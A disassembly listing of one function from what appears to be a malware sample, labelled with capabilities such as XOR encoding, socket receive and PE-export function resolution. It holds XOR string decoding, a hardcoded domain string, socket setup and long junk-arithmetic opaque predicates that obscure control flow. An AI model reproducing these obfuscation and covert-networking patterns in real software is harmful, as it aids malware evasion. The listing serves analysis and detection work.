Function at 0x10051a60
Capabilities:
Encode data using xor
Receive data
Receive data on socket
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x148
mov esi, esp
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x134], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x138], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x13c], eax
mov eax, dword [0x100c42d8]
xor eax, ebp
mov dword [esi + 0x140], eax
cmp dword [0x100c4e88], 0
jne 0x10052142
mov al, byte [0x100c2169]
xor al, 0xd6
mov byte [0x100c2174], al
mov al, byte [0x100c216a]
xor al, 0xd9
mov byte [0x100c2175], al
mov al, byte [0x100c216b]
xor al, 0x6d
mov byte [0x100c2176], al
mov al, byte [str.k_m9_]
xor al, 0xf
mov byte [0x100c2178], al
mov al, byte [0x100c216d]
xor al, 0x46
mov byte [0x100c2179], al
mov al, byte [0x100c216e]
xor al, 0x1f
mov byte [0x100c217a], al
mov al, byte [0x100c216f]
xor al, 0x50
mov byte [0x100c217b], al
mov al, byte [0x100c2170]
xor al, 0x47
mov byte [0x100c217c], al
mov al, byte [0x100c2171]
xor al, 0x76
mov byte [0x100c217d], al
mov al, byte [0x100c2172]
xor al, 0x64
mov byte [0x100c217e], al
mov al, byte [0x100c2173]
xor al, 0xa1
mov byte [0x100c217f], al
mov al, byte [0x100c2100]
xor al, 0x1d
mov byte [0x100c210a], al
mov al, byte [0x100c2101]
xor al, 0x85
mov byte [0x100c210b], al
mov al, byte [0x100c2102]
xor al, 0x24
mov byte [0x100c210c], al
mov al, byte [0x100c2103]
xor al, 0xfd
mov byte [0x100c210d], al
mov al, byte [str.A_j]
xor al, 0x35
mov byte [str.qGd_v], al
mov al, byte [0x100c2105]
xor al, 0x40
mov byte [0x100c210f], al
mov al, byte [0x100c2106]
xor al, 0x18
mov byte [0x100c2110], al
mov al, byte [0x100c2107]
xor al, 0xb8
mov byte [0x100c2111], al
mov al, byte [0x100c2108]
xor al, 0xf5
mov byte [0x100c2112], al
mov al, byte [0x100c2109]
xor al, 0xe4
mov byte [0x100c2114], al
mov al, byte [0x100c2115]
xor al, 0x4c
mov byte [0x100c2121], al
mov al, byte [0x100c2116]
xor al, 0x70
mov byte [0x100c2122], al
mov al, byte [0x100c2117]
xor al, 0x8b
mov byte [0x100c2124], al
mov al, byte [0x100c2118]
xor al, 3
mov byte [0x100c2125], al
mov al, byte [0x100c2119]
xor al, 0xd2
mov byte [0x100c2126], al
mov al, byte [0x100c211a]
xor al, 0x3b
mov byte [0x100c2127], al
mov al, byte [0x100c211b]
xor al, 0xae
mov byte [0x100c2128], al
mov al, byte [0x100c211c]
xor al, 0xc0
mov byte [0x100c2129], al
mov al, byte [0x100c211d]
xor al, 9
mov byte [0x100c212a], al
mov al, byte [0x100c211e]
xor al, 0xde
mov byte [0x100c212b], al
mov al, byte [0x100c211f]
xor al, 0x71
mov byte [0x100c212c], al
mov al, byte [0x100c2120]
xor al, 0xdb
mov byte [0x100c212d], al
mov al, byte [0x100c2130]
xor al, 0x96
mov byte [0x100c2150], al
mov al, byte [0x100c2131]
xor al, 0x38
mov byte [0x100c2151], al
mov al, byte [0x100c2132]
xor al, 0xd0
mov byte [0x100c2152], al
mov al, byte [0x100c2133]
xor al, 0x70
mov byte [0x100c2153], al
mov al, byte [0x100c2134]
xor al, 0xe6
mov byte [0x100c2154], al
mov al, byte [str.K_a2]
xor al, 0x22
mov byte [0x100c2155], al
mov al, byte [0x100c2136]
xor al, 0x4e
mov byte [0x100c2156], al
mov al, byte [0x100c2137]
xor al, 0x68
mov byte [0x100c2158], al
mov al, byte [0x100c2138]
xor al, 0x1c
mov byte [0x100c2159], al
mov al, byte [0x100c2139]
xor al, 0xb2
mov byte [0x100c215a], al
mov al, byte [0x100c213a]
xor al, 0x38
mov byte [0x100c215d], al
mov al, byte [0x100c213b]
xor al, 0x11
mov byte [0x100c215e], al
mov al, byte [0x100c213c]
xor al, 0xd6
mov byte [0x100c215f], al
mov al, byte [0x100c213d]
xor al, 0x7d
mov byte [0x100c2160], al
mov al, byte [0x100c213e]
xor al, 0x84
mov byte [0x100c2161], al
mov al, byte [0x100c213f]
xor al, 0xce
mov byte [0x100c2162], al
mov al, byte [0x100c2140]
xor al, 0x8f
mov byte [0x100c2163], al
mov al, byte [0x100c2141]
xor al, 0xd4
mov byte [0x100c2164], al
mov al, byte [0x100c2142]
xor al, 0xbf
mov byte [0x100c2165], al
mov al, byte [0x100c2143]
xor al, 0x83
mov byte [0x100c2167], al
mov al, byte [0x100c2144]
xor al, 0x1a
mov byte [0x100c2168], al
mov al, byte [0x100c21fc]
xor al, 0xfc
mov byte [0x100c2206], al
mov al, byte [0x100c21fd]
xor al, 0xd6
mov byte [0x100c2207], al
mov al, byte [0x100c21fe]
xor al, 0xb4
mov byte [0x100c2208], al
mov al, byte [0x100c21ff]
xor al, 0x83
mov byte [0x100c220a], al
mov al, byte [0x100c2200]
xor al, 0x40
mov byte [0x100c220b], al
mov al, byte [0x100c2201]
xor al, 0xf6
mov byte [0x100c220c], al
mov al, byte [0x100c2202]
xor al, 0xa8
mov byte [0x100c220d], al
mov al, byte [0x100c2203]
xor al, 0xcf
mov byte [0x100c220f], al
mov al, byte [0x100c2204]
xor al, 0xcc
mov byte [0x100c2210], al
mov al, byte [0x100c2205]
xor al, 0x1e
mov byte [0x100c2211], al
mov al, byte [0x100c2180]
xor al, 0x1a
mov byte [0x100c218a], al
mov al, byte [0x100c2181]
xor al, 0xb7
mov byte [0x100c218b], al
mov al, byte [0x100c2182]
xor al, 0xb9
mov byte [0x100c218c], al
mov al, byte [0x100c2183]
xor al, 0x74
mov byte [0x100c218d], al
mov al, byte [0x100c2184]
xor al, 0x1a
mov byte [0x100c218e], al
mov al, byte [0x100c2185]
xor al, 0x35
mov byte [0x100c218f], al
mov al, byte [0x100c2186]
xor al, 0xb0
mov byte [0x100c2190], al
mov al, byte [0x100c2187]
xor al, 0x93
mov byte [0x100c2191], al
mov al, byte [0x100c2188]
xor al, 0x5a
mov byte [0x100c2192], al
mov al, byte [0x100c2189]
xor al, 0x7f
mov byte [0x100c2193], al
mov al, byte [0x100c2194]
xor al, 0xc9
mov byte [0x100c219d], al
mov al, byte [0x100c2195]
xor al, 0x92
mov byte [0x100c219e], al
mov al, byte [str.__Ux]
xor al, 0x38
mov byte [0x100c219f], al
mov al, byte [0x100c2197]
xor al, 0xb5
mov byte [0x100c21a1], al
mov al, byte [0x100c2198]
xor al, 0xf1
mov byte [0x100c21a2], al
mov al, byte [0x100c2199]
xor al, 0xc9
mov byte [0x100c21a3], al
mov al, byte [0x100c219a]
xor al, 0x44
mov byte [0x100c21a4], al
mov al, byte [0x100c219b]
xor al, 0x27
mov byte [0x100c21a5], al
mov al, byte [0x100c219c]
xor al, 0x78
mov byte [0x100c21a6], al
mov al, byte [0x100c21a7]
xor al, 0xb7
mov byte [0x100c21b2], al
mov al, byte [0x100c21a8]
xor al, 0x9f
mov byte [0x100c21b3], al
mov al, byte [0x100c21a9]
xor al, 0x22
mov byte [0x100c21b4], al
mov al, byte [0x100c21aa]
xor al, 0xdf
mov byte [0x100c21b5], al
mov al, byte [0x100c21ab]
xor al, 0xc8
mov byte [0x100c21b6], al
mov al, byte [0x100c21ac]
xor al, 0x33
mov byte [0x100c21b7], al
mov al, byte [0x100c21ad]
xor al, 0x4d
mov byte [0x100c21b8], al
mov al, byte [0x100c21ae]
xor al, 0xd0
mov byte [0x100c21b9], al
mov al, byte [str._e_]
xor al, 0x46
mov byte [0x100c21ba], al
mov al, byte [0x100c21b0]
xor al, 0x41
mov byte [0x100c21bb], al
mov al, byte [0x100c21b1]
xor al, 0x65
mov byte [0x100c21bc], al
mov al, byte [0x100c21bd]
xor al, 0xeb
mov byte [0x100c21c2], al
mov al, byte [0x100c21be]
xor al, 0x7d
mov byte [0x100c21c6], al
mov al, byte [0x100c21bf]
xor al, 0x67
mov byte [0x100c21c7], al
mov al, byte [0x100c21c0]
xor al, 0xf9
mov byte [0x100c21c8], al
mov al, byte [0x100c21c1]
xor al, 0xd3
mov byte [0x100c21c9], al
mov al, byte [0x100c21ca]
xor al, 0xae
mov byte [0x100c21d2], al
mov al, byte [0x100c21cb]
xor al, 0x75
mov byte [0x100c21d3], al
mov al, byte [0x100c21cc]
xor al, 0x10
mov byte [0x100c21d4], al
mov al, byte [0x100c21cd]
xor al, 0xcd
mov byte [0x100c21d5], al
mov al, byte [0x100c21ce]
xor al, 0x3f
mov byte [0x100c21d6], al
mov al, byte [0x100c21cf]
xor al, 0x93
mov byte [0x100c21d7], al
mov al, byte [str.24_x]
xor al, 0x55
mov byte [0x100c21d8], al
mov al, byte [0x100c21d1]
xor al, 0x34
mov byte [0x100c21d9], al
mov al, byte [0x100c21da]
xor al, 0x1c
mov byte [0x100c21e1], al
mov al, byte [0x100c21db]
xor al, 0x3f
mov byte [0x100c21e2], al
mov al, byte [0x100c21dc]
xor al, 0x89
mov byte [0x100c21e3], al
mov al, byte [0x100c21dd]
xor al, 0x2e
mov byte [0x100c21e4], al
mov al, byte [0x100c21de]
xor al, 0x2f
mov byte [0x100c21e5], al
mov al, byte [0x100c21df]
xor al, 0x6e
mov byte [0x100c21e6], al
mov al, byte [0x100c21e0]
xor al, 0x4e
mov byte [0x100c21e7], al
mov al, byte [0x100c21f2]
xor al, 0x20
mov byte [0x100c21f7], al
mov al, byte [0x100c21f3]
xor al, 0x3b
mov byte [0x100c21f8], al
mov al, byte [0x100c21f4]
xor al, 0x6e
mov byte [0x100c21f9], al
mov al, byte [0x100c21f5]
xor al, 0xee
mov byte [0x100c21fa], al
mov al, byte [0x100c21f6]
xor al, 0x3f
mov byte [0x100c21fb], al
mov al, byte [0x100c21e8]
xor al, 0x88
mov byte [str._rW_f_], al
mov al, byte [0x100c21e9]
xor al, 0x68
mov byte [0x100c21ee], al
mov al, byte [0x100c21ea]
xor al, 0x54
mov byte [0x100c21ef], al
mov al, byte [0x100c21eb]
xor al, 0xa5
mov byte [0x100c21f0], al
mov al, byte [0x100c21ec]
xor al, 0xc6
mov byte [0x100c21f1], al
mov al, byte [0x100c221d]
xor al, 0xd9
mov byte [0x100c2221], al
mov al, byte [0x100c221e]
xor al, 0x61
mov byte [0x100c2222], al
mov al, byte [0x100c221f]
xor al, 0x78
mov byte [0x100c2223], al
mov al, byte [0x100c2220]
xor al, 0x49
mov byte [0x100c2224], al
mov al, byte [0x100c2225]
xor al, 0x4a
mov byte [0x100c222e], al
mov al, byte [0x100c2226]
xor al, 0x20
mov byte [0x100c2230], al
mov al, byte [0x100c2227]
xor al, 0x50
mov byte [0x100c2231], al
mov al, byte [0x100c2228]
xor al, 0x60
mov byte [0x100c2233], al
mov al, byte [0x100c2229]
xor al, 0x43
mov byte [0x100c2234], al
mov al, byte [0x100c222a]
xor al, 0x96
mov byte [0x100c2235], al
mov al, byte [0x100c222b]
xor al, 0xfb
mov byte [0x100c2236], al
mov al, byte [0x100c222c]
xor al, 0x91
mov byte [0x100c2238], al
mov al, byte [0x100c2212]
xor al, 0x6b
mov byte [0x100c2217], al
mov al, byte [0x100c2213]
xor al, 0x52
mov byte [0x100c2218], al
mov al, byte [0x100c2214]
xor al, 0xd6
mov byte [0x100c2219], al
mov al, byte [0x100c2215]
xor al, 0xd8
mov byte [0x100c221a], al
mov al, byte [0x100c2216]
xor al, 0x77
mov byte [0x100c221b], al
mov dword [0x100c4e88], 1
push eax
mov eax, esp
mov dword [esi + 0x38], eax
push eax
mov ecx, esp
mov eax, ecx
mov dword [esi + 0x3c], eax
push eax
mov eax, esp
mov dword [esi + 0x108], eax
mov dword [esi + 0x40], eax
push eax
mov ebx, esp
mov eax, ebx
mov dword [esi + 0x44], eax
sub esp, 0x10
mov edi, esp
mov eax, edi
mov dword [esi + 0x114], eax
sub esp, 0xc
mov edx, esp
mov eax, edx
mov dword [esi + 0x120], eax
sub esp, 0x34
mov eax, esp
mov dword [esi + 0x10c], eax
mov dword [esi + 0x48], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x110], eax
mov dword [esi + 0x4c], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x118], eax
mov esp, eax
push eax
mov eax, esp
mov dword [esi + 0x124], eax
push eax
mov eax, esp
mov dword [esi + 0x128], eax
push eax
mov eax, esp
mov dword [esi + 0x12c], eax
push eax
mov eax, esp
mov dword [esi + 0x130], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x54], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x58], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x5c], eax
push eax
mov eax, esp
mov dword [esi + 0x60], eax
push eax
mov eax, esp
mov dword [esi + 0x64], eax
push eax
mov eax, esp
mov dword [esi + 0x68], eax
push eax
mov eax, esp
mov dword [esi + 0x6c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x70], eax
push eax
mov eax, esp
mov dword [esi + 0x74], eax
push eax
mov eax, esp
mov dword [esi + 0x78], eax
sub esp, 0x190
mov eax, esp
mov dword [esi + 0x7c], eax
push eax
mov eax, esp
mov dword [esi + 0x80], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x84], eax
sub esp, 0x20
mov eax, esp
mov dword [esi + 0x88], eax
push eax
mov eax, esp
mov dword [esi + 0x8c], eax
push eax
mov eax, esp
mov dword [esi + 0x90], eax
push eax
mov eax, esp
mov dword [esi + 0x94], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x98], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x9c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xa0], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xa4], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa8], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xac], eax
push eax
mov eax, esp
mov dword [esi + 0xb0], eax
push eax
mov eax, esp
mov dword [esi + 0xb4], eax
push eax
mov eax, esp
mov dword [esi + 0xb8], eax
push eax
mov eax, esp
mov dword [esi + 0xbc], eax
push eax
mov eax, esp
mov dword [esi + 0xc0], eax
push eax
mov eax, esp
mov dword [esi + 0xc4], eax
push eax
mov eax, esp
mov dword [esi + 0xc8], eax
push eax
mov eax, esp
mov dword [esi + 0xcc], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xd0], eax
push eax
mov eax, esp
mov dword [esi + 0xd4], eax
push eax
mov eax, esp
mov dword [esi + 0xd8], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xdc], eax
push eax
mov eax, esp
mov dword [esi + 0xe0], eax
push eax
sub esp, 0xffc
mov eax, esp
mov dword [esi + 0xe4], eax
push eax
mov eax, esp
mov dword [esi + 0xe8], eax
push eax
mov eax, esp
mov dword [esi + 0xec], eax
push eax
mov eax, esp
mov dword [esi + 0xf0], eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xf4], eax
push eax
mov eax, esp
mov dword [esi + 0xf8], eax
push eax
mov eax, esp
mov dword [esi + 0xfc], eax
push eax
mov eax, esp
mov dword [esi + 0x100], eax
push eax
mov eax, esp
mov dword [esi + 0x104], eax
mov eax, dword [esi + 0x134]
mov dword [ecx], eax
mov eax, dword [esi + 0x108]
mov ecx, dword [esi + 0x138]
mov dword [eax], ecx
mov ecx, dword [esi + 0x10c]
mov eax, dword [esi + 0x13c]
mov dword [ebx], eax
mov eax, dword [esi + 0x110]
movsd xmm0, qword [0x100c2126]
movsd qword [edi + 5], xmm0
movsd xmm0, qword [0x100c2121]
movsd qword [edi], xmm0
mov edi, dword [0x100c21b9]
mov dword [edx + 7], edi
movsd xmm0, qword [0x100c21b2]
movsd qword [edx], xmm0
movups xmm0, xmmword [0x100b70e8]
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [0x100b70d8]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [str.Xk6x41683.org]
movups xmmword [ecx], xmm0
mov word [ecx + 0x30], 0
movups xmm0, xmmword [0x100c2159]
movups xmmword [eax + 9], xmm0
movaps xmm0, xmmword [0x100c2150]
movups xmmword [eax], xmm0
call fcn.1004a3c0
mov ecx, dword [esi + 0x114]
mov edi, eax
mov eax, dword [esi + 0x118]
mov dword [esi + 0x11c], edi
mov edi, edx
mov edx, dword [esi + 0x11c]
mov dword [eax + 4], edi
mov dword [eax], edx
mov edx, dword [eax]
mov edi, dword [eax + 4]
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10040280
mov ecx, dword [esi + 0x120]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x124]
mov dword [eax], edx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov edx, dword [esi + 0x128]
mov ecx, dword [esi + 0x12c]
mov edi, eax
mov eax, dword [esi + 0x130]
mov dword [edx], edi
mov dword [ecx], 0
mov dword [eax], ecx
mov eax, dword [eax]
cmp dword [eax], 0
jne 0x10052fea
mov eax, dword [0x100c3ac8]
add eax, dword [0x100c3acc]
xor eax, 0x93af597c
xor eax, 0x6950456d
and eax, 0xbb563401
or eax, 0x837dfda0
xor eax, 0x4d197769
and eax, 0xd6655738
imul eax, eax, 0x130a9964
mov ecx, 0x155ae23e
xor edx, edx
div ecx
xor eax, 0x66250683
mov ecx, 0xccafda24
xor edx, edx
div ecx
or eax, 0xda3b7a19
mov ecx, 0xb4d85388
xor edx, edx
div ecx
add eax, 0x8bccd603
imul eax, eax, 0xac09369b
add eax, 0xa03fb89b
xor eax, 0xa5872f04
and eax, 0xddd36243
or eax, 0x7b39553e
mov ecx, 0x575fe440
xor edx, edx
div ecx
sub eax, 0x6d98db0b
and eax, 0xe2c71758
mov ecx, 0xad110120
xor edx, edx
div ecx
xor eax, 0x969c177f
add eax, 0x5b93e290
and eax, 0x17a5b2a9
xor eax, 0x6c30c490
or eax, 0x52aff474
xor eax, 0x151de295
or eax, 0x70022066
add eax, 0xf0f8e209
imul eax, eax, 0xd803478f
imul eax, eax, 0xf07269d8
add eax, 0x889fc31
or eax, 0xb26f81fe
imul eax, eax, 0xf8c7a8bc
sub eax, 0x1e72458c
xor eax, 0xbbe46a96
imul eax, eax, 0x529a463d
sub eax, 0xdba6d316
or eax, 0xd8dcd4fc
xor eax, 0xf71c45e1
imul eax, eax, 0x781ddbdd
mov ecx, 0x82fb8575
xor edx, edx
div ecx
imul eax, eax, 0xfe7939eb
xor eax, 0x9e7db2b8
xor eax, 0x917adb2
add eax, 0x219862fd
or eax, 0xe795bf71
or eax, 0xab75d846
xor eax, 0x69e313b2
sub eax, 0x4964f34c
imul eax, eax, 0xf3f049ab
add eax, 0xbe33a3c7
sub eax, 0xf5244d64
and eax, 0x3a38dc1e
imul eax, eax, 0xc3f33b8a
and eax, 0x420a116f
imul eax, eax, 0xc74e56c6
sub eax, 0x4cdab8de
xor eax, 0x2e7dbaa5
and eax, 0xbabd05f5
mov ecx, 0xf9ed6731
xor edx, edx
div ecx
xor eax, 0xd0c2f45c
xor eax, 0xcdaff61d
imul eax, eax, 0x66e29e30
or eax, 0xba7a1010
add eax, 0xa051a417
or eax, 0x2f59787a
mov ecx, 0x8742a846
xor edx, edx
div ecx
mov ecx, 0x9216069b
xor edx, edx
div ecx
and eax, 0x839106ba
add eax, 0xf757aa0f
cmp eax, 0x5819bbb9
jb 0x10055836
mov edx, dword [esi + 0x5c]
mov edi, dword [esi + 0x58]
mov ebx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
mov eax, 0x378b1bf4
mov dword [esi + 0x30], eax
mov eax, dword [0x100c2111]
mov dword [ecx + 7], eax
movsd xmm0, qword [0x100c210a]
movsd qword [ecx], xmm0
mov eax, dword [0x100c217c]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x128]
movsd xmm0, qword [0x100c2174]
movsd qword [ebx], xmm0
mov bx, word [0x100c2192]
mov word [edi + 8], bx
movsd xmm0, qword [0x100c218a]
movsd qword [edi], xmm0
mov di, word [0x100c21a5]
mov word [edx + 8], di
movsd xmm0, qword [0x100c219d]
movsd qword [edx], xmm0
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov edx, dword [esi + 0x60]
mov ecx, dword [esi + 0x54]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x128]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov edx, dword [esi + 0x64]
mov ecx, dword [esi + 0x58]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x128]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10040280
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x5c]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x128]
mov dword [edx], edi
mov edx, dword [eax]
xor edi, edi
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10040280
mov ecx, dword [esi + 0x6c]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x70]
mov dword [ecx], edx
mov ecx, dword [0x100c21d2]
mov dword [eax], ecx
mov ecx, dword [0x100c21d6]
mov dword [eax + 4], ecx
sub esp, 4
mov dword [esp], eax
call fcn.1004a3e0
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x30]
cmp ecx, 0
setne cl
mov byte [esi + 0x37], cl
cmp eax, 0xf7c72da0
jae 0x10052641
mov al, byte [esi + 0x37]
test al, 1
jne 0x1005279d
jmp 0x100527e3
mov ecx, dword [esi + 0x48]
mov edi, dword [esi + 0x74]
mov dword [edi], 5
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.1008cbb0
mov edx, dword [esi + 0x48]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x78]
add ecx, 1
sub ecx, dword [edi]
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, edx
add ecx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1008cc40
add esp, 0xc
mov eax, dword [str.YVk]
xor edx, edx
div dword [0x100c3adc]
xor eax, 0x2ed54725
imul eax, eax, 0x3cd6e637
xor eax, 0x472dccdb
or eax, 0xba41184
or eax, 0xf5d76ee1
add eax, 0x5279facb
add eax, 0x4601020
mov ecx, 0x2b7597d2
xor edx, edx
div ecx
sub eax, 0x2449a9b8
sub eax, 0xd7900b1e
xor eax, 0xf14dbbcb
add eax, 0xe7c4da10
and eax, 0x4dbe327f
xor eax, 0xd893536
add eax, 0x19560802
imul eax, eax, 0x1bc1fa05
or eax, 0xa283aeb3
mov ecx, 0xcb06d8a8
xor edx, edx
div ecx
imul eax, eax, 0x4a820e94
mov ecx, 0xe1736e23
xor edx, edx
div ecx
or eax, 0xa8eda1e0
sub eax, 0x45782993
or eax, 0x64a8d55e
sub eax, 0xa6fca6ad
or eax, 0xc6e90ce5
imul eax, eax, 0xcee9d501
mov ecx, 0x5d4e16f2
xor edx, edx
div ecx
or eax, 0x277e4725
imul eax, eax, 0x45e64e31
or eax, 0xf6eb1d54
and eax, 0x3011f05c
xor eax, 0x5fc60341
and eax, 0x4419fc7f
mov ecx, 0x6404a414
xor edx, edx
div ecx
mov ecx, 0xac8c8888
xor edx, edx
div ecx
imul eax, eax, 0xdd92bdd2
or eax, 0x8edba9d5
xor eax, 0xd68c1bc5
xor eax, 0x7456ac1b
imul eax, eax, 0x32ae222e
imul eax, eax, 0xb98ca4ca
and eax, 0x4e42afd4
or eax, 0x6dc0e09e
and eax, 0xff8f246f
and eax, 0x701c66c5
xor eax, 0xf8a3e4d5
imul eax, eax, 0xe0ec3da0
imul eax, eax, 0x82cd1616
mov ecx, 0xc6a3f7e0
xor edx, edx
div ecx
sub eax, 0x881d97b1
mov ecx, 0xef649a1
xor edx, edx
div ecx
add eax, 0x9d94e302
add eax, 0xb901f887
mov ecx, 0x9a184070
xor edx, edx
div ecx
imul eax, eax, 0x13f0671e
and eax, 0xf1ed0f29
xor eax, 0x5f840e2e
sub eax, 0x2f447d20
or eax, 0xcf0526dc
xor eax, 0x5ef33b09
mov ecx, 0x4d47544
xor edx, edx
div ecx
and eax, 0x3afcbaac
add eax, 0x1879c2b9
sub eax, 0xe76b10f2
and eax, 0xa2c8c744
mov ecx, 0xe9f2d5b7
xor edx, edx
div ecx
xor eax, 0xe8f4c65f
imul eax, eax, 0xd1aa290b
and eax, 0x7446728a
and eax, 0x4361bd46
or eax, 0x263ea1c6
xor eax, 0x2ed6b01b
cmp eax, 0xb0e1232e
je 0x10055966
mov ecx, dword [esi + 0x7c]
mov eax, dword [0x100c3ae0]
xor eax, dword [0x100c3ae4]
mov edi, 0x38148da0
xor edx, edx
div edi
xor eax, 0xbf6ff1d2
add eax, 0xb4f2bcaf
sub eax, 0x4877d463
imul eax, eax, 0x96c0d885
xor eax, 0xc86a79d1
add eax, 0x1736569d
xor eax, 0x85d069a2
xor eax, 0x8a54960a
add eax, 0x4985e344
and eax, 0xb095d925
and eax, 0x1e5b56ce
sub eax, 0x38c09201
sub eax, 0xa80ee4cd
sub eax, 0x3aafff38
and eax, 0x4fe99c2b
or eax, 0xc7b99c05
and eax, 0x37a90494
add eax, 0xf1eae32d
mov edi, 0x85f92923
xor edx, edx
div edi
sub eax, 0xd38dbaf1
and eax, 0xa7e81b93
or eax, 0x105c37a4
add eax, 0x64f0ba73
add eax, 0xea22afea
xor eax, 0x9a9c800c
xor eax, 0xea03f9fe
imul eax, eax, 0x161c95bc
or eax, 0xe9afa66
imul eax, eax, 0x130e3ae2
or eax, 0xef3bceae
xor eax, 0x3239df11
add eax, 0x72bab398
sub eax, 0x3f476bde
mov edi, 0x49ae6d0
xor edx, edx
div edi
add eax, 0x29f10438
mov edi, 0x501998c1
xor edx, edx
div edi
imul eax, eax, 0x4ae79df1
sub eax, 0xdb92fc2f
xor eax, 0x62be8592
mov edi, 0xc7893040
xor edx, edx
div edi
xor eax, 0xe10708e4
and eax, 0x53e49ef3
mov edi, 0xfc9c63c5
xor edx, edx
div edi
xor eax, 0x237a67c2
and eax, 0xe2fa338b
xor eax, 0x29a8a888
mov edi, 0xb30c31f8
xor edx, edx
div edi
or eax, 0xd235ffcb
mov edi, 0xc03d16d8
xor edx, edx
div edi
or eax, 0xdfee231a
add eax, 0x67f0a68a
add eax, 0x745d9aa
or eax, 0x61e956c
sub eax, 0x168fd9f6
and eax, 0x1a7add10
sub eax, 0x3c555c04
add eax, 0x68807b6f
mov edi, 0xc848129f
xor edx, edx
div edi
sub eax, 0x6471b5fa
sub eax, 0xddf75d8c
add eax, 0x7f7b0a80
mov edi, 0x6be1f766
xor edx, edx
div edi
mov edi, 0xa29f478f
xor edx, edx
div edi
or eax, 0x818178e1
mov edi, 0x507e9f51
xor edx, edx
div edi
mov edi, 0x53abb845
xor edx, edx
div edi
sub eax, 0x74152372
imul eax, eax, 0x4001e28f
and eax, 0x277add9e
imul eax, eax, 0xb410f567
mov edi, 0x39d8ca05
xor edx, edx
div edi
mov edx, eax
mov eax, dword [esi + 0x60]
mov dword [esi + 0x2c], edx
sub esp, 8
mov dword [esp], 0x202
mov dword [esp + 4], ecx
call dword [eax]
mov ecx, dword [esi + 0x80]
mov eax, dword [esi + 0x88]
mov dword [ecx], 1
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.1006f6e0
mov ecx, dword [esi + 0x88]
mov eax, dword [esi + 0x2c]
add esp, 0xc
mov dword [ecx + 4], 2
mov dword [ecx + 8], 1
cmp eax, 0x502b88dd
jae 0x1005299b
jmp 0x10052bc0
mov eax, dword [0x100c3ae8]
imul eax, dword [0x100c3aec]
add eax, 0x61b37a50
and eax, 0xaafcf68f
mov ecx, 0xccfdf73c
xor edx, edx
div ecx
add eax, 0x5bb1c659
mov ecx, 0x8db62c08
xor edx, edx
div ecx
mov ecx, 0x10a8c416
xor edx, edx
div ecx
imul eax, eax, 0x3c4e867
add eax, 0x2bb372f9
or eax, 0x2a7c3cbb
or eax, 0xadd86392
sub eax, 0xc7f47674
xor eax, 0x7fa999ab
sub eax, 0x752c3810
mov ecx, 0x5c8bc392
xor edx, edx
div ecx
and eax, 0x8c9b2e3e
imul eax, eax, 0xa19b0777
sub eax, 0xb1e98b20
or eax, 0x292ef9a4
xor eax, 0x48088122
mov ecx, 0x6a2ca7cf
xor edx, edx
div ecx
imul eax, eax, 0x7606f1ad
imul eax, eax, 0xe596f036
sub eax, 0x6304772e
add eax, 0x48178257
xor eax, 0x34164829
imul eax, eax, 0x7d5ea04a
sub eax, 0xdee8baad
sub eax, 0x24884ab3
or eax, 0xc630cc13
imul eax, eax, 0xe5b02027
add eax, 0x6fc292f3
xor eax, 0xb6f0570e
and eax, 0xfec0ff52
sub eax, 0x15e31287
and eax, 0xd15471ed
add eax, 0xa9b78da6
or eax, 0xf11ebc23
imul eax, eax, 0xf5685b6b
xor eax, 0xe4ca9d9a
xor eax, 0x48a16951
sub eax, 0xc532c30a
mov ecx, 0x3f468223
xor edx, edx
div ecx
mov ecx, 0xef8bf5c5
xor edx, edx
div ecx
mov ecx, 0x36c1ce07
xor edx, edx
div ecx
